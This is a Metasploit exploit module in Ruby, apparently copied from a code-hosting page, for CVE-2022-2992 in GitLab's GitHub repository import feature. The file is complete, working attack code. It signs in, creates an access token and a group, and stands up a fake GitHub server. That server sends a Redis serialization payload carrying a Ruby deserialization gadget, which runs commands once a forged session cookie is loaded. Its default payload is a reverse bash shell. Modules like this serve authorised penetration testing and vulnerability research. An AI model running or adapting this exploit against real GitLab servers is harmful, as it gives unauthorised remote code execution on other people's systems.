257 lines
8.7 KiB
Ruby
257 lines
8.7 KiB
Ruby
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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prepend Msf::Exploit::Remote::AutoCheck
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include Msf::Exploit::Git::SmartHttp
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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include Msf::Exploit::Remote::HTTP::Gitlab
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include Msf::Exploit::RubyDeserialization
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attr_accessor :cookie
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'GitLab GitHub Repo Import Deserialization RCE',
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'Description' => %q{
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An authenticated user can import a repository from GitHub into GitLab.
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If a user attempts to import a repo from an attacker-controlled server,
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the server will reply with a Redis serialization protocol object in the nested
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`default_branch`. GitLab will cache this object and
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then deserialize it when trying to load a user session, resulting in RCE.
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},
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'Author' => [
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'William Bowling (vakzz)', # discovery
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'Heyder Andrade <https://infosec.exchange/@heyder>', # msf module
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'RedWay Security <https://infosec.exchange/@redway>', # PoC
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],
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'References' => [
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['URL', 'https://hackerone.com/reports/1679624'],
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['URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992'], # PoC
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['URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/371884'],
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['CVE', '2022-2992']
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],
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'DisclosureDate' => '2022-10-06',
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'License' => MSF_LICENSE,
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'Platform' => ['unix', 'linux'],
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'Arch' => [ARCH_CMD],
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'Privileged' => false,
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'Stance' => Msf::Exploit::Stance::Aggressive,
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'Targets' => [
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[
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'Unix Command',
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{
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Type' => :unix_cmd,
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'DefaultOptions' => {
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'PAYLOAD' => 'cmd/unix/reverse_bash'
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}
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}
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]
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],
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS]
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}
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)
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)
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register_options(
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[
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OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
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OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
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OptInt.new('IMPORT_DELAY', [true, 'Time to wait from the import task before try to trigger the payload', 5]),
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OptAddress.new('URIHOST', [false, 'Host to use in GitHub import URL'])
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]
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)
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deregister_options('GIT_URI')
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end
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def group_name
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@group_name ||= Rex::Text.rand_text_alpha(8..12)
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end
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def api_token
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@api_token ||= gitlab_create_personal_access_token
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end
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def session_id
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@session_id ||= Rex::Text.rand_text_hex(32)
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end
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def redis_payload(cmd)
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serialized_payload = generate_ruby_deserialization_for_command(cmd, :net_writeadapter)
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gitlab_session_id = "session:gitlab:#{session_id}"
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# A RESP array of 3 elements (https://redis.io/docs/reference/protocol-spec/)
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# The command set
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# The gitlab session to load the payload from
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# The Payload itself. A Ruby serialized command
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"*3\r\n$3\r\nset\r\n$#{gitlab_session_id.size}\r\n#{gitlab_session_id}\r\n$#{serialized_payload.size}\r\n#{serialized_payload}"
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end
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def check
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self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
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vprint_status('Trying to get the GitLab version')
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version = Rex::Version.new(gitlab_version)
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return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless (
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version.between?(Rex::Version.new('11.10'), Rex::Version.new('15.1.6')) ||
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version.between?(Rex::Version.new('15.2'), Rex::Version.new('15.2.4')) ||
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version.between?(Rex::Version.new('15.3'), Rex::Version.new('15.3.2'))
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)
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report_vuln(
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host: rhost,
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name: name,
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refs: references,
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info: [version]
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)
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return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")
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rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError
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return CheckCode::Detected('Could not detect the version because authentication failed.')
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rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
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return CheckCode::Unknown("#{e.class} - #{e.message}")
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end
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def cleanup
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super
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return unless @import_id
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gitlab_delete_group(@group_id, api_token)
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gitlab_revoke_personal_access_token(api_token)
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gitlab_sign_out
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rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
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print_error("#{e.class} - #{e.message}")
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end
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def exploit
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if Rex::Socket.is_internal?(srvhost_addr)
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print_warning("#{srvhost_addr} is an internal address and will not work unless the target GitLab instance is using a non-default configuration.")
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end
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setup_repo_structure
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start_service({
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'Uri' => {
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'Proc' => proc do |cli, req|
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on_request_uri(cli, req)
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end,
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'Path' => '/'
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}
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})
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execute_command(payload.encoded)
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rescue Timeout::Error => e
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fail_with(Failure::TimeoutExpired, e.message)
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end
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def execute_command(cmd, _opts = {})
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vprint_status("Executing command: #{cmd}")
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# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
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self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
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vprint_status("Session ID: #{session_id}")
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vprint_status("Creating group #{group_name}")
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# We need group id for the cleanup method
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@group_id = gitlab_create_group(group_name, api_token)['id']
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fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id
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@redis_payload = redis_payload(cmd)
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# import a repository from GitHub
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vprint_status('Importing a repository from GitHub')
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@import_id = gitlab_import_github_repo(
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group_name: group_name,
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github_hostname: get_uri,
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api_token: api_token
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)['id']
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fail_with(Failure::UnexpectedReply, 'Failed to import a repository from GitHub') unless @import_id
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# wait for the import tasks to finish
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select(nil, nil, nil, datastore['IMPORT_DELAY'])
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# execute the payload
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send_request_cgi({
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'uri' => normalize_uri(target_uri.path, group_name),
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'method' => 'GET',
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'keep_cookies' => false,
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'cookie' => "_gitlab_session=#{session_id}"
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})
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rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
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fail_with(Failure::Unknown, "#{e.class} - #{e.message}")
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end
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def setup_repo_structure
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blob_object_fname = "#{Rex::Text.rand_text_alpha(5..10)}.txt"
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blob_data = Rex::Text.rand_text_alpha(5..12)
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blob_object = Msf::Exploit::Git::GitObject.build_blob_object(blob_data)
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tree_data =
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{
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mode: '100644',
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file_name: blob_object_fname,
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sha1: blob_object.sha1
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}
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tree_object = Msf::Exploit::Git::GitObject.build_tree_object(tree_data)
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commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_sha1: tree_object.sha1)
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git_objs = [ commit_obj, tree_object, blob_object ]
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@refs =
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{
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'HEAD' => 'refs/heads/main',
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'refs/heads/main' => commit_obj.sha1
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}
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@packfile = Msf::Exploit::Git::Packfile.new('2', git_objs)
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end
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# Handle incoming requests from GitLab server
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def on_request_uri(cli, req)
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super
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headers = { 'Content-Type' => 'application/json' }
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data = {}.to_json
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case req.uri
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when %r{/api/v3/rate_limit}
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headers.merge!({
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'X-RateLimit-Limit' => '100000',
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'X-RateLimit-Remaining' => '100000'
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})
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when %r{/api/v3/repositories/(\w{1,20})}
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id = Regexp.last_match(1)
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name = Rex::Text.rand_text_alpha(8..12)
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data = {
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id: id,
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name: name,
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full_name: "#{name}/name",
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clone_url: "#{get_uri.gsub(%r{/+$}, '')}/#{name}/public.git"
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}.to_json
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when %r{/\w+/public.git/info/refs}
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data = build_pkt_line_advertise(@refs)
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headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-advertisement' })
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when %r{/\w+/public.git/git-upload-pack}
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data = build_pkt_line_sideband(@packfile)
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headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-result' })
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when %r{/api/v3/repos/\w+/\w+}
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bytes_size = rand(3..8)
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data = {
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'default_branch' => {
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'to_s' => {
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'bytesize' => bytes_size,
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'to_s' => "+#{Rex::Text.rand_text_alpha_lower(bytes_size)}\r\n#{@redis_payload}"
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# using a simple string format for RESP
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}
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}
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}.to_json
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end
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send_response(cli, data, headers)
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end
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end |